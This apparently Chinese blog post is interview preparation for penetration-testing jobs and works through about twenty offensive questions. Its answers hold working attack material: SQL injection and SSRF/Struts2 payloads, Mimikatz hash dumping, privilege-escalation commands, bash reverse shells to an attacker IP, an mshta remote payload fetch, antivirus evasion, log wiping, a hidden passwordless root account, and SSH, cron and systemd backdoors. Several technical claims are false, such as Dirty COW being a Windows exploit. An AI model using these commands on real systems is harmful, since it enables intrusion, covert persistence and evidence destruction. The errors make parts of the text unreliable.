本来以为自己已经有渗透甚至红队实习生的水平了,近期海投简历,进行了好多场面试,有的现在看来是纯属运气好过了简历筛,一面试就被拷打了,感觉被问得这几天脑子嗡嗡的(当然也提升了很多),也是认清了自己现在大概就安服或渗透实习生水平,所以我决定用几个月好好沉淀总结一下。。。
注:有一些关于经验的就暂时不做解答了,毕竟每个人的经验经历都不一样
文章目录
shell
全部问题:
1.自我介绍
2.是否进行工具开发?
3.src挖掘是否有getshell经历?简述
4.代码审计能力?
5.信息收集流程?
6.给一个登录框如何渗透?
7.密文解密的了解?
8.js解密?
9.sqlmap参数--os-shell各个数据库写入条件?
10.如何绕过CDN?
11.如何利用ssrf?
12.php反序列化函数?
13.内网攻击流程?
14.如何判断域环境?域控特征?
15.如何dump哈希?
16.Linux提权
17.Windows提权
18.bypass免杀
19.Linux如何隐藏命令痕迹
20.Linux持久化
21.绕过什么waf?如何绕过的
一、代码审计能力
代码审计是通过审查源代码/二进制代码,发现安全漏洞的过程,核心能力要求如下:
- 语言基础:熟练掌握PHP/Java/Python/Go等主流开发语言语法、函数特性(如PHP的文件操作函数、Java的反射机制);
- 漏洞识别 :能精准定位常见漏洞(SQL注入、XSS、命令执行、反序列化等),熟悉漏洞触发的代码特征(如
'eval($_GET['cmd'])'触发命令执行); - 工具辅助:会使用SeayDzend、Fortify、CodeQL等审计工具,同时具备人工审计复杂逻辑代码的能力;
- 业务理解:结合业务场景审计(如支付流程、权限控制),发现逻辑漏洞(如越权访问、业务逻辑绕过);
- 修复建议:能给出可落地的漏洞修复方案,而非仅指出问题。
我的代码审计能力其实不算好。。虽然大一时期是学开发的但是只是学了个基础。还是得练啊
二、信息收集流程
信息收集是渗透测试的基础,需按"广度→深度"逐步推进:
- 基础信息收集
- 域名相关:Whois查询(
'whois target.com')、子域名爆破(工具:Sublist3r、OneForAll); - 服务器信息:IP地址、开放端口(
'nmap -sV -p- target.ip')、操作系统版本、Web服务器类型(Nginx/Apache); - 公司信息相关:小蓝本、企查查、天眼查、icp备案、小程序
- 域名相关:Whois查询(
- Web应用信息
- 技术栈探测:通过响应头、页面源码识别(如X-Powered-By: PHP/7.2.34)、工具(WhatWeb、Wappalyzer);
- 敏感路径:后台登录页、备份文件(
'/config.php.bak')、目录遍历(工具:DirBuster、Dirsearch);
- 第三方信息
- 搜索引擎:Google Hacking(
'site:target.com inurl:admin')、Shodan(搜索目标IP的开放服务); - 代码仓库:GitHub/Gitee搜索目标域名、公司名,查找泄露的源码、配置文件;
- 搜索引擎:Google Hacking(
- 资产关联
- 收集同IP下的其他域名、子公司资产,扩大测试范围;
- 整理信息清单,标注高风险资产(如暴露的数据库端口、弱口令后台)。
我之前也写了一篇比较简易的edu信息收集
三、给一个登录框如何渗透?
登录框是渗透测试的高频入口,核心围绕"身份伪造、漏洞利用"展开:
- 弱口令爆破
- 常用账号:admin、root、user、test,密码字典(弱口令TOP1000、目标公司相关信息组合);
- 工具:Burp Suite Intruder(设置账号/密码变量,批量爆破)、Hydra(支持多种协议HTTP、FTP、SSH );
- SQL注入漏洞
- 账号框注入:输入
'admin' or 1=1#',若绕过登录则存在注入; - 密码框注入:输入
'or'1'='1,结合账号admin尝试登录; - 进阶:使用Burp抓包,将参数放入SQLmap检测(
'sqlmap -r login.request -p username');
- 账号框注入:输入
- 验证码绕过
- 验证码复用:查看验证码是否未过期(多次提交同一验证码);
- 验证码爆破:若验证码为4位数字,可通过字典批量尝试;
- 前端绕过:查看页面源码,若验证码仅在前端校验(如JS判断),删除校验代码或修改返回值;
- 逻辑漏洞
- 账号枚举:输入不存在的账号,提示"账号不存在",存在账号枚举;输入存在的账号,提示"密码错误",可先枚举有效账号再爆破密码;
- 越权访问:登录后抓包,修改Cookie中的用户ID(如
'uid=1'改为'uid=2'),尝试访问其他用户数据; - 重置管理员密码:是否可以绕过验证直接重置管理员密码;
- 配置错误:是否可以任意文件读取,任意文件下载等
- 其他攻击
- XSS漏洞:若登录框输入
'<script>alert(1)</script>'后,后台显示时触发弹窗,可能存在存储型XSS; - 密码重置功能:利用"找回密码"功能,尝试短信轰炸、验证码截取、修改找回链接中的用户ID;
- 第三方登录:若支持QQ/微信登录,测试OAuth授权漏洞(如回调地址篡改)。
- Nday:利用nday或cms框架漏洞等直接打
- XSS漏洞:若登录框输入
四、密文解密的了解?
密文解密核心是"识别加密算法→选择对应工具/方法破解",常见场景如下:
- 常见加密算法及特征
- MD5:32位/16位小写/大写字符串(如
'e10adc3949ba59abbe56e057f20f883e'),不可逆,通过彩虹表碰撞; - SHA1:40位字符串(如
'2aa60a8ff7fcd473d321e0146afd9e26df395147'),同理MD5,碰撞工具相同; - Base64:字符串末尾可能带
'=',由字母、数字、'+'、'/'组成(如'YWRtaW4xMjM='解码为'admin123'),可逆; - AES/DES:通常为16位/32位字符串,需密钥和加密模式(ECB/CBC),不可逆(无密钥时暴力破解难度大);
- MD5:32位/16位小写/大写字符串(如
- 解密工具与方法
- 在线工具:Base64解码(https://base64.supfree.net/)、MD5彩虹表查询(https://www.cmd5.com/);
- 本地工具:Hashcat(
'hashcat -m 0 md5.hash pass.txt',-m 0表示MD5)、John the Ripper; - 自定义加密:若为业务自定义加密(如加盐MD5),需逆向代码获取加密逻辑,再针对性解密;
- 注意事项
- 加盐加密(如MD5(密码+盐值))无法直接通过彩虹表破解,需获取盐值后碰撞;
- 若密文长度不匹配常见算法,可能是多次加密(如Base64+MD5),需逐层解密。
五、JS解密?
JS解密主要针对"前端加密的参数、混淆的代码",核心是"还原加密逻辑":
-
常见JS加密场景
- 登录密码加密:如通过AES、RSA加密后提交(如京东登录密码加密);
- 接口参数签名:如
'sign'参数,通过MD5(参数+密钥)生成; - 代码混淆:变量名乱码(如
'var a1b2c3 = function(){...}')、控制流平坦化,防止逆向;
-
解密步骤
- 定位加密代码:
- 浏览器F12→Sources,搜索关键词(如
'encrypt'、'sign'、'AES'); - 抓包查看参数,在Initiator中找到触发加密的JS文件;
- 浏览器F12→Sources,搜索关键词(如
- 分析加密逻辑:
- 格式化混淆代码(浏览器Sources→Pretty Print,图标为
'{}'); - 打断点调试(在加密函数处点击行号,输入参数后触发断点,观察变量变化);
- 格式化混淆代码(浏览器Sources→Pretty Print,图标为
- 还原加密过程:
- 提取加密函数(如AES加密的密钥、模式、IV),用Python/JS复现(如
'CryptoJS.AES.encrypt(password, key, {iv: iv})'); - 若为RSA加密,通常公钥在JS中,可直接用公钥加密明文;
- 提取加密函数(如AES加密的密钥、模式、IV),用Python/JS复现(如
- 定位加密代码:
-
工具辅助
- 反混淆工具:JSUnpack、De4js(https://de4js.com/)、AST反混淆(https://github.com/qihoo360/Deobfuscator);
- 在线调试:CodePen(https://codepen.io/)、JSFiddle,运行提取的加密函数;
-
示例:破解AES加密的密码
若JS中加密代码为:function encryptPwd(pwd) { var key = CryptoJS.enc.Utf8.parse("1234567890abcdef"); // 密钥(16位) var iv = CryptoJS.enc.Utf8.parse("abcdef1234567890"); // IV(16位) return CryptoJS.AES.encrypt(pwd, key, {iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7}).toString(); }用Python复现解密:
'from
六、sqlmap参数--os-shell各个数据库写入条件?
'--os-shell' 是sqlmap的高危参数,用于获取目标服务器的操作系统shell,核心依赖"数据库权限+文件写入权限",不同数据库的写入条件如下:
- MySQL数据库
- 权限要求:数据库用户需拥有
'FILE'权限('SELECT File_priv FROM mysql.user WHERE user='root';'可读写); - 环境条件:
- 知道网站绝对路径(可通过报错信息、phpinfo页面、目录遍历获取);
- Web服务器对目标目录有写入权限(如网站根目录
'/var/www/html'); - 关闭
'secure_file_priv'('show variables like 'secure_file_priv';'为空表示关闭);
- 原理:通过
'INTO OUTFILE'将恶意脚本(如PHP一句话木马)写入Web目录,再通过访问脚本获取shell。
- 权限要求:数据库用户需拥有
- SQL Server数据库
- 权限要求:数据库用户为
'sa'权限(系统管理员); - 环境条件:
- 启用
'xp_cmdshell'(默认禁用,可通过'sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;'启用); - 知道Web目录路径(如
'C:\inetpub\wwwroot'); - Web服务器允许写入文件(如IIS对目录有写入权限);
- 启用
- 原理:通过
'xp_cmdshell'执行系统命令,将恶意ASP脚本写入Web目录。
- 权限要求:数据库用户为
- Oracle数据库
- 权限要求:数据库用户拥有
'CREATE DIRECTORY'、'UTL_FILE'权限; - 环境条件:
- 知道Web服务器的文件系统路径(如
'/var/www/html'或'D:\www'); - 目标目录对Oracle进程有写入权限;
- 启用
'UTL_FILE'包(默认启用,部分环境可能禁用);
- 知道Web服务器的文件系统路径(如
- 原理:通过
'UTL_FILE'包创建文件,写入JSP/PHP恶意脚本,再通过Web访问获取shell。
- 权限要求:数据库用户拥有
- PostgreSQL数据库
- 权限要求:数据库用户为超级用户(
'superuser'); - 环境条件:
- 知道Web目录绝对路径;
- 启用
'COPY'命令写入权限(默认超级用户拥有); - Web服务器对目标目录有写入权限;
- 原理:通过
'COPY (SELECT '恶意脚本内容') TO '/var/www/html/shell.php' WITH (FORMAT 'text');'写入木马。
- 权限要求:数据库用户为超级用户(
七、如何绕过CDN?
CDN(内容分发网络)会隐藏真实服务器IP,绕过核心是"找到真实IP与CDN节点的差异",常用方法如下:
- 利用DNS解析记录
- 历史DNS记录:查询目标域名的历史解析IP(工具:DNSdumpster、ViewDNS、站长工具),可能存在未更新的真实IP;
- 子域名解析:部分子域名(如
'test.target.com'、'mail.target.com')可能未使用CDN,解析后获取的IP可能是真实服务器IP; - DNS查询:直接查询域名的权威DNS服务器(
'nslookup -querytype=A target.com 权威DNSIP'),可能返回真实IP。
- 利用网络服务暴露
- 邮件服务:查看目标公司的公开邮箱(如
'contact@target.com'),发送邮件后查看邮件头的'Received'字段,获取邮件服务器IP(可能与Web真实IP同段); - 其他服务:扫描目标常见端口(如3389、22、3306),若某IP开放这些非CDN端口(CDN通常只开放80/443),可能是真实IP;
- 邮件服务:查看目标公司的公开邮箱(如
- 直接连接测试
- 端口扫描:用
'nmap -sV -p 80,443 目标IP段',访问扫描结果中开放80/443端口的IP,对比页面内容(如标题、源码)与目标域名一致,则为真实IP; - 主机头绑定:在本地
'hosts'文件中添加'真实IP target.com',访问目标域名,若能正常打开且内容一致,则确认真实IP;
- 端口扫描:用
- 利用漏洞/配置错误
- 服务器探针:若目标存在phpinfo页面、报错页面,可能泄露真实IP(如
'REMOTE_ADDR'字段); - CDN配置错误:部分CDN未对所有端口/路径防护,访问非80/443端口(如8080、8443),可能直接连接真实服务器;
- 边缘节点泄露:通过Shodan搜索
'title:"target.com"',筛选CDN节点外的IP,访问验证是否为真实IP。
- 服务器探针:若目标存在phpinfo页面、报错页面,可能泄露真实IP(如
- 其他方法
- 旁站查询:查询目标域名的同IP网站(工具:站长工具旁站查询),若旁站未使用CDN,可通过旁站IP反推真实IP;
- ICMP探测:向目标域名发送ping请求(
'ping target.com'),部分CDN不屏蔽ICMP,可能返回真实IP(需结合其他方法验证); - 第三方接口:利用
'http://ip-api.com/json/target.com'、'https://api.ip.sb/domain/target.com'等接口查询真实IP。
八、如何利用SSRF?
SSRF(服务器端请求伪造)是服务器代替客户端发起请求的漏洞,核心利用"服务器的网络访问权限",常见场景如下:
- SSRF漏洞识别
- 触发点:URL参数(如
'?url=http://example.com')、图片上传(远程URL上传)、API调用(如第三方服务集成); - 测试方法:输入
'http://127.0.0.1'(本地回环地址),若返回服务器本地页面,则存在SSRF;输入'http://192.168.1.1'(内网地址),探测内网存活主机。
- 触发点:URL参数(如
- 常见利用场景
- 探测内网资产:
- 扫描内网端口:
'?url=http://192.168.0.0/24:80',通过响应时间/内容判断端口是否开放; - 访问内网服务:如内网数据库(
'?url=mysql://192.168.1.100:3306')、Redis('?url=redis://192.168.1.101:6379')、Jenkins('?url=http://192.168.1.102:8080');
- 扫描内网端口:
- 读取本地文件:
- 利用
'file'协议:'?url=file:///etc/passwd'(Linux)、'?url=file:///C:/Windows/system32/drivers/etc/hosts'(Windows); - 利用
'dict'协议:'?url=dict://127.0.0.1:22/info',获取服务版本信息;
- 利用
- 攻击内网应用:
- 利用内网弱口令:如Jenkins弱口令登录(
'?url=http://192.168.1.102:8080/j_acegi_security_check?j_username=admin&j_password=admin'); - 触发内网漏洞:如内网Struts2漏洞(
'?url=http://192.168.1.103/action?redirect:%25{#context[%22xwork.MethodAccessor.denyMethodExecution%22]=false,#m=%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22),#m.setAccessible(true),#m.set(%23_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%22id%22).getInputStream())}', 若返回'id'命令结果则利用成功);
- 利用内网弱口令:如Jenkins弱口令登录(
- 探测内网资产:
- 绕过SSRF限制
- 地址绕过:用
'127.0.0.1'的变形('127.0.0.0.1'、'0177.0.0.1'、'localhost'、'[::1]'); - 协议绕过:若限制
'http'协议,尝试'https'、'file'、'dict'、'gopher'协议('gopher'协议可构造复杂请求,如Redis写入木马); - 端口绕过:若限制80/443端口,尝试8080、8443、3000等常用端口。
- 地址绕过:用
九、PHP反序列化函数?
PHP反序列化漏洞的核心是"可控参数传入反序列化函数,触发恶意代码执行",常见反序列化函数及漏洞利用如下:
- 核心反序列化函数
'unserialize()':最常用的反序列化函数,直接将序列化字符串还原为PHP对象;- 危险场景:当反序列化的参数可控(如
'$_GET['data']'、'$_COOKIE['user']'),且目标类存在魔术方法('__construct()'、'__destruct()'、'__wakeup()'等)时,可能触发漏洞;
- 魔术方法与漏洞触发
'__destruct()':对象销毁时自动调用,若方法中存在危险操作(如文件写入、命令执行),可构造序列化字符串触发;- 示例:目标类存在如下代码:
'class Test { public $cmd; function __destruct() { system($this->cmd); // 危险操作:执行系统命令 } }' - 构造序列化字符串:
'$obj = new Test(); $obj->cmd = 'id'; echo serialize($obj); // 输出:O:4:"Test":1:{s:3:"cmd";s:2:"id";}' - 漏洞利用:将序列化字符串作为参数传入
'unserialize()',触发'system('id')'执行;
- 示例:目标类存在如下代码:
- 漏洞防御
- 避免将可控参数直接传入
'unserialize()'; - 对序列化字符串进行签名验证(如添加密钥,验证通过后再反序列化);
- 限制反序列化的类范围,禁止危险类的反序列化;
- 避免将可控参数直接传入
- 工具辅助
- 序列化字符串构造:PHP在线序列化工具(https://www.bejson.com/convert/serializer/);
- 漏洞检测:SeayDzend审计代码中
'unserialize()'的参数是否可控。
十、内网攻击流程?
内网攻击是"突破边界后,横向移动→权限提升→控制核心资产"的过程,核心流程如下:
- 边界突破与权限巩固
- 获得外网服务器shell(如Web漏洞利用、弱口令爆破);
- 提权至root/administrator权限;
- 清除日志、建立持久化(如创建隐藏账号、植入后门),防止被发现;
- 内网信息收集
- 网络拓扑探测:
'ipconfig'(Windows)/'ifconfig'(Linux)查看网卡信息,'route print'(Windows)/'route -n'(Linux)查看路由表,确定内网网段; - 存活主机扫描:
'ping -n 1 192.168.1.0/24'(Windows)、'fping -g 192.168.1.0/24'(Linux),或使用工具(Nmap、Masscan); - 端口与服务探测:扫描存活主机的开放端口(如3389、22、3306、5985),识别内网服务(如域控、数据库、文件服务器);
- 域环境探测:判断是否存在域(参考"如何判断域环境"章节),收集域内用户、计算机名、域控IP等信息;
- 网络拓扑探测:
- 横向移动
- 弱口令爆破:使用已获取的账号密码,尝试登录内网其他主机(工具:Hydra、CrackMapExec);
- 哈希传递(Pass The Hash):利用已获取的NTLM哈希,无需密码登录内网主机(工具:Mimikatz、Impacket);
- 示例(Windows):
'mimikatz.exe "sekurlsa::pth /user:administrator /ntlm:哈希值 /domain:test.com" exit';
- 示例(Windows):
- 票据传递(Pass The Ticket):获取域内票据(如TGT、TGS),利用票据登录其他主机(工具:Mimikatz、Rubeus);
- 漏洞利用:利用内网主机的漏洞(如MS17-010、 EternalBlue),批量获取shell;
- 权限提升与核心资产控制
- 域控渗透:若存在域环境,目标是获取域控权限(如通过黄金票据、白银票据攻击);
- 核心数据窃取:访问文件服务器、数据库服务器,窃取敏感数据(如用户信息、业务数据);
- 持久化控制:在域控、核心服务器植入后门(如域后门、计划任务后门),长期控制内网。
十一、如何判断域环境?域控特征?
- 判断是否存在域环境
- Windows主机:
- 命令查询:
'systeminfo'查看"域"字段,若显示域名称(如'test.com')而非"工作组",则存在域; - 查看计算机名:域内计算机名通常带有域前缀(如
'TEST-PC001','TEST'为域缩写); - 查看网络配置:
'ipconfig /all'查看DNS服务器IP,域环境的DNS通常指向域控;
- 命令查询:
- Linux主机:
- 查看
'/etc/resolv.conf',若DNS服务器为域控IP,且搜索域为域名称(如'search test.com'),可能存在域; - 尝试加入域查询:
'realm discover test.com',若返回域信息则存在域;
- 查看
- Windows主机:
- 域控(Domain Controller)特征
- 端口特征:开放53(DNS服务)、88(Kerberos服务)、389(LDAP服务)、445(SMB服务)、636(LDAPS服务)、3268(全局编录)等端口;
- 服务特征:运行DNS服务、Active Directory(AD)服务、Kerberos服务;
- 命令查询(Windows域控):
'netdom query dc':直接查询域内所有域控;'nltest /dclist:test.com':列出域'test.com'的域控;
- 主机名特征:域控主机名通常为
'DC01'、'DC-TEST'等,带有"DC"标识; - 权限特征:域控是域内权限最高的主机,管理着域用户、计算机的账号和权限。
十二、如何dump哈希?
Dump哈希是获取目标主机用户密码哈希(如NTLM哈希、Linux阴影哈希)的过程,用于后续哈希传递、暴力破解,常见方法如下:
- Windows系统Dump哈希
- 工具:Mimikatz(最常用)、ProcDump+Mimikatz;
- 方法1:Mimikatz直接Dump(需管理员权限):
- 命令:
'mimikatz.exe "sekurlsa::logonpasswords" exit',直接读取内存中的登录密码哈希(NTLM哈希、LM哈希);
- 命令:
- 方法2:Dump SAM文件(离线破解):
- SAM文件路径:
'C:\Windows\System32\config\SAM'(系统运行时无法直接复制); - 用ProcDump导出LSASS进程:
'procdump.exe -accepteula -ma lsass.exe lsass.dmp'; - 用Mimikatz解析dmp文件:
'mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit';
- SAM文件路径:
- 哈希格式:NTLM哈希通常为32位字符串(如
'e10adc3949ba59abbe56e057f20f883e');
- Linux系统Dump哈希
- 直接读取阴影文件(需root权限):
- 阴影文件路径:
'/etc/shadow',存储用户密码的加密哈希(默认使用SHA-512加密); - 命令:
'cat /etc/shadow',输出格式(如'root:$6$xyz$abc...:12345:0:99999:7:::'),'$6$'表示SHA-512加密;
- 阴影文件路径:
- 工具辅助:John the Ripper、Hashcat(用于破解阴影文件中的哈希);
- 破解命令(Hashcat):
'hashcat -m 1800 shadow.hash pass.txt'(-m 1800对应SHA-512加密);
- 破解命令(Hashcat):
- 直接读取阴影文件(需root权限):
- 注意事项
- Dump哈希需管理员/root权限;
- Windows 10/Server 2016及以上版本,默认启用LSASS保护,需关闭保护或使用高权限工具Dump;
- 破解哈希的成功率依赖密码字典的强度。
十三、Linux提权
Linux提权是"普通用户→root用户"的过程,核心是"利用系统漏洞、配置错误、SUID文件",常见方法如下:
- SUID文件提权
- SUID文件特征:文件权限位带有
s(如'-rwsr-xr-x'),运行时继承文件所有者权限(若所有者为root,则运行时获得root权限); - 查找SUID文件:
'find / -perm -u=s -type f 2>/dev/null'(排除错误输出); - 常用可提权的SUID文件:
'find':'find / -name test -exec /bin/sh \;'(执行后获得root shell);'cp':'cp /etc/shadow /tmp/shadow'(复制阴影文件,破解root密码);'nmap':旧版本nmap存在交互模式提权,'nmap --interactive'→'!sh';
- SUID文件特征:文件权限位带有
- sudo权限滥用
- 查看当前用户可执行的sudo命令:
'sudo -l'; - 若显示
'(ALL) NOPASSWD: ALL',直接sudo su切换至root; - 若允许执行特定命令(如
'/usr/bin/find'),利用命令参数提权:'sudo find / -name test -exec /bin/sh \;';
- 查看当前用户可执行的sudo命令:
- 系统漏洞提权
- 漏洞识别:查看系统版本(
'uname -a')、内核版本(如'Linux ubuntu 4.4.0-122-generic'); - 查找对应漏洞:搜索"Linux 4.4.0-122 提权漏洞",下载EXP(如Dirty COW、CVE-2021-4034);
- 执行EXP提权:
- 编译EXP:
'gcc exp.c -o exp'; - 赋予执行权限:
'chmod +x exp'; - 运行EXP:
'./exp',成功后获得root shell;
- 编译EXP:
- 漏洞识别:查看系统版本(
- 计划任务提权
- 查看系统计划任务:
'crontab -l'(当前用户)、'cat /etc/crontab'(系统计划任务); - 若计划任务执行的脚本/命令可被当前用户修改,且以root权限运行,可修改脚本植入恶意命令;
- 示例:计划任务
'* * * * * root /opt/backup.sh',且'/opt/backup.sh'可写; - 提权操作:
'echo "/bin/bash -i >& /dev/tcp/攻击机IP/8888 0>&1" >> /opt/backup.sh',攻击机监听'nc -lvp 8888',等待计划任务执行获得root shell;
- 示例:计划任务
- 查看系统计划任务:
- 其他方法
- 环境变量劫持:若SUID文件执行的命令未使用绝对路径(如
'system("ls")'),可修改'PATH'环境变量,植入恶意'ls'命令提权; - 敏感文件泄露:查找
'/root/.ssh/id_rsa'(root的SSH私钥),若可读取,直接'ssh -i id_rsa root@localhost'登录。
- 环境变量劫持:若SUID文件执行的命令未使用绝对路径(如
十四、Windows提权
Windows提权核心是"普通用户→administrator/System权限",常见方法包括"漏洞利用、配置错误、权限滥用",具体如下:
- 系统漏洞提权
- 漏洞识别:查看系统版本(
'systeminfo')、补丁情况(如缺失'KB4503293'补丁可能存在CVE-2019-0841漏洞); - 常用提权漏洞:
- MS17-010(EternalBlue):针对Windows 7/Server 2008,利用SMB漏洞提权,工具:Metasploit的
'exploit/windows/smb/ms17_010_eternalblue'; - CVE-2021-1732:Windows 10/Server 2019提权漏洞,EXP执行后获得System权限;
- Dirty COW(CVE-2016-5195):跨平台漏洞,Windows版本可通过EXP提权;
- MS17-010(EternalBlue):针对Windows 7/Server 2008,利用SMB漏洞提权,工具:Metasploit的
- 操作步骤:Metasploit中选择对应EXP,设置目标IP、payload(如
'windows/meterpreter/reverse_tcp'),执行后获得高权限shell;
- 漏洞识别:查看系统版本(
- 服务权限配置错误
- 查找可修改的服务:使用工具AccessChk(
'accesschk.exe -uwcqv "Authenticated Users" * /accepteula'),查找"Authenticated Users"组有修改权限的服务; - 提权原理:修改服务的可执行路径为恶意程序,重启服务后执行恶意程序(以System权限运行);
- 示例:服务
'TestService'可修改,执行命令:
'sc config TestService binPath= "C:\malware.exe" start= auto'(修改服务路径);
'net stop TestService && net start TestService'(重启服务,触发恶意程序执行);
- 示例:服务
- 查找可修改的服务:使用工具AccessChk(
- UAC绕过
- UAC(用户账户控制):默认情况下,普通用户执行管理员操作需授权,绕过UAC可直接获得管理员权限;
- 常用工具:Metasploit的
'exploit/windows/local/bypassuac'、'exploit/windows/local/bypassuac_injection'; - 操作步骤:已获得普通用户meterpreter shell,执行
'getuid'确认权限,然后加载UAC绕过模块,执行后获得管理员权限;
- 计划任务提权
- 查看计划任务:
'schtasks /query /fo list /v',查找以System权限运行、且可被当前用户修改的任务; - 提权操作:修改任务的执行命令为恶意脚本(如反弹shell),等待任务触发或手动执行;
- 查看计划任务:
- 令牌窃取
- 工具:Mimikatz,通过窃取高权限令牌提升权限;
- 命令:
'mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "token::elevate" exit',执行后获得System权限;
十五、bypass免杀
免杀是"让恶意程序(如木马、后门)绕过杀毒软件(AV)检测"的技术,核心是"修改恶意程序特征,规避AV的静态/动态检测",常见方法如下:
- 静态免杀:修改文件特征
- 代码混淆:
- 变量名/函数名随机化(如
'func123'代替'reverse_shell'); - 增加无效代码(垃圾指令),打乱代码结构;
- 字符串加密(如Base64加密命令字符串,运行时解密);
- 变量名/函数名随机化(如
- 壳保护:
- 给恶意程序加壳(如UPX、Themida),加密程序代码,AV无法直接识别特征;
- 自定义壳:编写简单壳程序,对恶意代码进行加密,运行时解密执行;
- 编译选项修改:
- 更换编译器(如用GCC代替MSVC)、修改编译参数(如
'-O0'关闭优化); - 改变程序入口点、节区名称(避免AV识别常见恶意程序结构);
- 更换编译器(如用GCC代替MSVC)、修改编译参数(如
- 代码混淆:
- 动态免杀:规避运行时检测
- 内存加载:
- 不落地执行:将恶意代码注入合法进程内存(如
'notepad.exe'),避免文件落地被AV扫描; - 工具:Metasploit的
'windows/meterpreter/reverse_tcp_inject'payload,或使用Cobalt Strike的'Spawn'功能;
- 不落地执行:将恶意代码注入合法进程内存(如
- 绕过行为检测:
- 延迟执行:恶意代码运行后延迟一段时间(如10秒)再执行核心功能,规避AV的快速扫描;
- 模拟正常行为:修改恶意程序的行为(如不直接连接境外IP,通过CDN转发;不批量读取敏感文件);
- 禁用AV进程:通过命令暂时禁用AV服务(如
'net stop WinDefend',需管理员权限);
- 内存加载:
- 漏洞利用免杀
- 利用0day漏洞:使用未被AV识别的漏洞EXP,避免特征匹配;
- 白名单程序劫持:利用系统白名单程序(如
'mshta.exe'、'regsvr32.exe')执行恶意代码,这些程序通常不被AV拦截;- 示例:
'mshta.exe http://攻击机IP/malicious.hta'(.hta文件中包含恶意脚本);
- 示例:
- 工具辅助
- 免杀工具:Cobalt Strike(自带免杀功能,可生成免杀payload)、Veil-Evasion、TheFatRat;
- 检测工具:VirusTotal(https://www.virustotal.com/),上传恶意程序查看被多少AV识别,针对性修改;
| 工具类型 | 代表工具 | 核心用途 |
|---|---|---|
| 免杀生成工具 | Cobalt Strike | 生成免杀payload、内存注入、行为混淆 |
| 免杀生成工具 | Veil-Evasion、TheFatRat | 脚本语言(Python/JS)免杀payload生成 |
| 代码混淆工具 | PyArmor(Python)、JSObfu(JS) | 对脚本代码进行加密、混淆 |
| 加壳工具 | UPX、Themida、VMProtect | 二进制程序压缩/加密加壳 |
| 检测工具 | VirusTotal | 上传文件检测AV识别率(https://www.virustotal.com/) |
| 检测工具 | AnyRun | 动态沙箱检测,查看程序运行行为 |
- 注意事项
- 免杀是"猫鼠游戏",AV会不断更新特征库,需定期更新免杀方法;
- 避免使用公开的EXP/木马,尽量自定义或修改现有代码。
十六、Linux如何隐藏命令痕迹?
Linux渗透测试中,隐藏命令痕迹是为了"避免被管理员发现操作记录",核心是"清除日志、隐藏进程、擦除操作痕迹",常见方法如下:
- 清除命令历史
- 临时禁用命令历史:执行
'export HISTSIZE=0',当前shell不再记录命令历史; - 清空历史记录文件:
'history -c'(清空当前shell历史)、'echo > ~/.bash_history'(清空用户历史文件)、'rm -rf ~/.bash_history'(删除历史文件); - 永久禁用历史记录:修改
'~/.bashrc'或'/etc/profile',添加'HISTSIZE=0'、'HISTFILESIZE=0',重启shell后生效;
- 临时禁用命令历史:执行
- 隐藏进程
- 进程替换:使用
'exec'命令替换当前进程(如'exec /bin/sh -i'),原进程消失,'ps'命令无法看到原进程; - 隐藏进程名:修改进程的命令行参数,如
'./malware > /dev/null 2>&1 &','ps aux'显示为'./malware',不易被察觉; - 利用rootkit:安装rootkit(如Knark、Adore),隐藏进程、文件、端口(需root权限);
- 进程替换:使用
- 清除系统日志
- 常见日志文件路径:
/var/log/auth.log(登录日志)、/var/log/syslog(系统日志)、/var/log/apache2/access.log(Web访问日志);
- 清空日志:
'echo > /var/log/auth.log'、'cat /dev/null > /var/log/syslog'; - 删除日志:
'rm -rf /var/log/auth.log'(注意:直接删除日志文件可能被管理员发现,建议清空而非删除); - 日志伪造:清空日志后,伪造正常的日志内容(如复制历史正常日志到当前日志文件);
- 常见日志文件路径:
- 隐藏文件与目录
- 文件名以
.开头(如'.malware'),成为隐藏文件,'ls'命令默认不显示,需'ls -a'才能看到; - 利用特殊目录隐藏:将恶意文件放入
'/proc'(临时文件系统,重启后消失)、'/tmp'(临时目录,管理员较少关注); - 挂载隐藏:使用
'mount --bind'将恶意目录挂载到正常目录下(如'mount --bind /malware /var/www/html'),访问'/var/www/html'实际访问'/malware',不易被发现;
- 文件名以
- 其他隐藏方法
- 网络连接隐藏:使用反弹shell时,选择不常见的端口(如8080、443),或通过加密隧道(如SSH隧道)连接,避免被防火墙日志记录;
- 擦除文件操作痕迹:使用
'shred'命令删除文件(如'shred -u /tmp/malware'),多次覆盖文件内容,防止数据恢复。
十七、Linux持久化
Linux持久化是"突破目标后,确保后续能持续访问目标主机"的过程,核心是"建立长期访问通道,抵御系统重启、管理员操作",常见方法如下:
-
创建隐藏账号
- 创建普通隐藏账号:
'useradd -m -s /bin/bash hiddenuser'(用户名不易被察觉),'passwd hiddenuser'设置密码; - 创建root权限隐藏账号:修改
'/etc/passwd'文件,添加'hiddenroot::0:0:root:/root:/bin/bash'(用户名'hiddenroot',无密码,UID=0,拥有root权限); - 隐藏账号痕迹:删除
'/var/log/auth.log'中创建账号的日志记录;
- 创建普通隐藏账号:
-
SSH密钥持久化
- 生成SSH密钥对:攻击机执行
'ssh-keygen -t rsa',生成'id_rsa'(私钥)和'id_rsa.pub'(公钥); - 上传公钥到目标主机:目标主机创建
'~/.ssh'目录('mkdir -p ~/.ssh'),将公钥内容写入'~/.ssh/authorized_keys'('echo "攻击机公钥内容" >> ~/.ssh/authorized_keys'); - 权限配置:
'chmod 700 ~/.ssh'、'chmod 600 ~/.ssh/authorized_keys',确保SSH能正常读取; - 优势:无需密码,即使目标主机修改root密码,仍可通过SSH密钥登录;
- 生成SSH密钥对:攻击机执行
-
计划任务持久化
- 创建系统计划任务:编辑
'/etc/crontab',添加'* * * * * root /opt/backdoor.sh'(每分钟执行一次后门脚本); - 后门脚本内容:反弹shell到攻击机(如
'/bin/bash -i >& /dev/tcp/攻击机IP/8888 0>&1'); - 隐藏计划任务:脚本文件设置为隐藏(
'mv backdoor.sh .backdoor.sh'),并清空计划任务日志('echo > /var/log/cron');
- 创建系统计划任务:编辑
-
服务持久化
-
创建系统服务:编写服务文件
'/etc/systemd/system/backdoor.service',内容如下:`'[Unit]
Description=Backdoor Service
After=network.target
Service
Type=simple
